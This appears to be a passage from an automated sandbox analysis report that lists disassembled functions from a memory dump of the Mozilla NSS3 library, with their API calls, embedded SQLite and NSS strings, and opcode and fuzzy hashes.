NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEDBE1E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: f67dbeaf839baa89936c69d7f9bba5ddff4bc21cda60ccafe4911d510a602cb1
Instruction ID: 8cd6322cf0f271a85f25abf7dfbbe473c8320f5f2e24a572bac899d0c66b1b82
Opcode Fuzzy Hash: f67dbeaf839baa89936c69d7f9bba5ddff4bc21cda60ccafe4911d510a602cb1
Instruction Fuzzy Hash: A12193B6E0429E57FB004A579C43B8F32749BD274EF1E1118E916EE741F710B41A86A6

Function 6CF88D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD14E4,6CF3CC70), ref: 6CF88D47
PR_GetCurrentThread.NSS3 ref: 6CF88D98

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF88E7B
htons.WSOCK32(?), ref: 6CF88EDB
PR_GetCurrentThread.NSS3 ref: 6CF88F99
PR_GetCurrentThread.NSS3 ref: 6CF8910A

Strings

%u.%u.%u.%u, xrefs: 6CF88E74

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5a488b14a7f09b19071630f25d4674f45118d893460c12213b13bbd117548f87
Instruction ID: 2db27bd6e92eedbfb2de77ed9e463c6899c4236d04e77a84a5f6cc49f28ef24e
Opcode Fuzzy Hash: 5a488b14a7f09b19071630f25d4674f45118d893460c12213b13bbd117548f87
Instruction Fuzzy Hash: 2C028C3290B6518FDB14CF19C4687AABBB3EF42304F1A825ED8915FB91CB35DA45C790

Function 6CF068E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CF068FC
PR_EnterMonitor.NSS3 ref: 6CF06924

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

PR_EnterMonitor.NSS3 ref: 6CF0693E
TlsGetValue.KERNEL32 ref: 6CF06977
TlsGetValue.KERNEL32 ref: 6CF069B8
PR_ExitMonitor.NSS3 ref: 6CF06B1E
PR_ExitMonitor.NSS3 ref: 6CF06B39
TlsGetValue.KERNEL32 ref: 6CF06B62

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 2c98adeb2943f096e0f0317574819924ac948986b0651affbc0022ceb7d5b359
Instruction ID: ebf4e5e5e4b724f02fde7ccc72c1351d2d93771631a3ffc934134dc48c168784
Opcode Fuzzy Hash: 2c98adeb2943f096e0f0317574819924ac948986b0651affbc0022ceb7d5b359
Instruction Fuzzy Hash: 53917DF5758510CBEB50DF2DC8A065E7BB2FB83708B619259EC448BA19C731D9C1DB81

Function 6CE0EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CE0FAC8
temporary table name must be unqualified, xrefs: 6CE0F734
not authorized, xrefs: 6CE0F957, 6CE0F9BA
authorizer malfunction, xrefs: 6CE0F95C, 6CE0F9BF, 6CE0FA5E, 6CE0FA8B
view, xrefs: 6CE0F061, 6CE0F071, 6CE0FAB7
table, xrefs: 6CE0F05C, 6CE0FABC, 6CE0FAC7
sqlite_master, xrefs: 6CE0F0AB, 6CE0F2DA, 6CE0F757, 6CE0F93E
there is already an index named %s, xrefs: 6CE0F9D7
sqlite_temp_master, xrefs: 6CE0F0A6, 6CE0F2D5

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: a2921d83b78a8808896a04e779fd3e035b8c212a6900cabfb8a45a0ecbb3f1be
Instruction ID: 6c32cff99f57d0e320a15b9738454b15ad0b4a8441b4a9cfb3abafbefec3086d
Opcode Fuzzy Hash: a2921d83b78a8808896a04e779fd3e035b8c212a6900cabfb8a45a0ecbb3f1be
Instruction Fuzzy Hash: 87729E70E042058FDB14CF68C484BAABBF1BF49308F2881ADD8159B752D779E866CBD4

Function 6CF29C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDFC52B), ref: 6CF29D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF2A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF2A114

Strings

database corruption, xrefs: 6CF2A029, 6CF2A108
%s at line %d of [%.10s], xrefs: 6CF2A02E, 6CF2A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF2A01F, 6CF2A0E4, 6CF2A0FE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: aa652b1755496f7420a646940a09409c391820d542801904e19cc7961890e093
Instruction ID: 42f72e7743ef91a0a2e3c19c628ca763700cb336d29a022deedbe919294bcd52
Opcode Fuzzy Hash: aa652b1755496f7420a646940a09409c391820d542801904e19cc7961890e093
Instruction Fuzzy Hash: DA22BE716087418FC744CFA9C49062BBBE1FFCA344F148A2DE8DA97691DB39E945CB42

Function 6CF49D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CE08637,?,?), ref: 6CF49E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CE08637), ref: 6CF49ED6

Strings

database corruption, xrefs: 6CF49ECA
%s at line %d of [%.10s], xrefs: 6CF49ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF49EC0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 37753eb6d0358ba222078b8bcb431936972f12cb5aef7bcf63b0dca2ed667dc0
Instruction ID: faa86e47953cb1c611482b34d9e7d72544b038d9b3eebd25109bf4c5f4593f6c
Opcode Fuzzy Hash: 37753eb6d0358ba222078b8bcb431936972f12cb5aef7bcf63b0dca2ed667dc0
Instruction Fuzzy Hash: 7C81A431B011159FCB04CF69C980EDEBBFAEF49314B148529D915AB742EB31EE45CBA0

Function 6CED9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CED9ED6

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CED9EE4

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED9F38

Part of subcall function 6CEDD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CED9F0B), ref: 6CEDD03B
Part of subcall function 6CEDD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEDD04E
Part of subcall function 6CEDD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEDD07B
Part of subcall function 6CEDD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEDD08E
Part of subcall function 6CEDD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CED9F59

Part of subcall function 6CED9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CED9C5B), ref: 6CED9D82
Part of subcall function 6CED9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CED9C5B), ref: 6CED9DA9
Part of subcall function 6CED9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CED9C5B), ref: 6CED9DCE
Part of subcall function 6CED9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CED9C5B), ref: 6CED9E43

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 18a0dca65407bb9496d8a2bdbd51f64cf7d61c1f2592271e2a394c08281c39c5
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 78112EB5F042015BF7109AA59C117AB7375AF9539CF360238E4098BB40FF61F5178292

Function 6CF8CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8D086
PR_Malloc.NSS3(00000001), ref: 6CF8D0B9
PR_Free.NSS3(?), ref: 6CF8D138

Strings

>, xrefs: 6CF8CF5B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 43824b001ff6a4928fca6054225f74d6739a5063f1e4ca6b696c0d1d17a40cbd
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: D2D16C23B47A470BFB14587D8CA13EA77B38F42374F580326D5618BBE9E6198843C351

Function 6CF2AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6060bb46e9b9d65695fa68b5ba4e27203f33e26efdb04f1524a238c142989a6d
Instruction ID: 4740d51cf3561d873dfc7dc16be6a88612a78313d28c1229ed6637b99d8ae64a
Opcode Fuzzy Hash: 6060bb46e9b9d65695fa68b5ba4e27203f33e26efdb04f1524a238c142989a6d
Instruction Fuzzy Hash: 44F10171F512568FDB44CFA8C8413AB7BF0AB8A308F15862DC906DB754E778AA51CBC1

Function 6CF1DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDF5001,?,00000003,00000000), ref: 6CF1DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDF5001,?), ref: 6CF1E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDF5001,?), ref: 6CF1E2DA

Strings

W, xrefs: 6CF1E111

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 0d28eaf1ef4aecffd81451097a23cc38cd987080deb3fac8b333e29b419721ab
Instruction ID: 10022d40d8582f0394e54245be10295b9fcdf7fab9b2018a7cf7a6862700147a
Opcode Fuzzy Hash: 0d28eaf1ef4aecffd81451097a23cc38cd987080deb3fac8b333e29b419721ab
Instruction Fuzzy Hash: 9AC12B32F0D2958FDB04CF2584947AA7BB2BF86318F294169DCA9ABF41D7319905CBD0

Function 6CEE0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEE1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEE1086

Strings

h(l, xrefs: 6CEE0E55, 6CEE0EC4, 6CEE0F3A, 6CEE0FA7
h(l, xrefs: 6CEE1062, 6CEE105D, 6CEE0F37, 6CEE1081, 6CEE1082

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 25a886cca784d09f0563c2da0e1b42cd95738149892d5b96ac927686a1200fa3
Instruction ID: a2d6650beb3267bd5fbfd5be8f6db508a5cb9517c786600ec9cefa0e0fe06f09
Opcode Fuzzy Hash: 25a886cca784d09f0563c2da0e1b42cd95738149892d5b96ac927686a1200fa3
Instruction Fuzzy Hash: E8A15D71B0124A9FCF08CF99D890AEEBBB6BF4D354B248129E905A7710DB35EC51DB90

Function 6CE06F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CE07049
unordered*, xrefs: 6CE0702B
*?[, xrefs: 6CE07034, 6CE07052, 6CE07070
noskipscan*, xrefs: 6CE07067

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: d525c5184d98cc47c5447a09ed96163d64736a0530c1bc98e442084bfea7f3b2
Instruction ID: 625d8938d7685665eb1f641f08c2ef7c5ae56386ceef3526319b013c294ea390
Opcode Fuzzy Hash: d525c5184d98cc47c5447a09ed96163d64736a0530c1bc98e442084bfea7f3b2
Instruction Fuzzy Hash: 75717972F041114BEB148E6DC88039A73B29F82318F394239CD59ABBD2D6719C6787D2

Function 6CE23EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CE2463F
sqlite_, xrefs: 6CE23FAA, 6CE24185
sqlite_temp_master, xrefs: 6CE2460F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 989085095d17e576b6eaa3bef12a5941e38118c946ac8dd464d0130cc5e54e12
Instruction ID: 4b15856c7f4ddeeb9c3a311c55bf0eaa5eb1b8c18fff030c49b5b3ffaec18e6d
Opcode Fuzzy Hash: 989085095d17e576b6eaa3bef12a5941e38118c946ac8dd464d0130cc5e54e12
Instruction Fuzzy Hash: B2224D31B495958FEB458B6580607BA7BF2AF4731CB7C459AC9E19FB42C22DEC42C780

Function 6CF5BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF5C0B6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: c0897baac1d28766edbb27e3ec96c9adce99f321fe463160c3be04dd95e19e59
Instruction ID: ee78b50bff710dda951ee52d0a3675d8cdefc03fa524a0a3d7584aff56f26a51
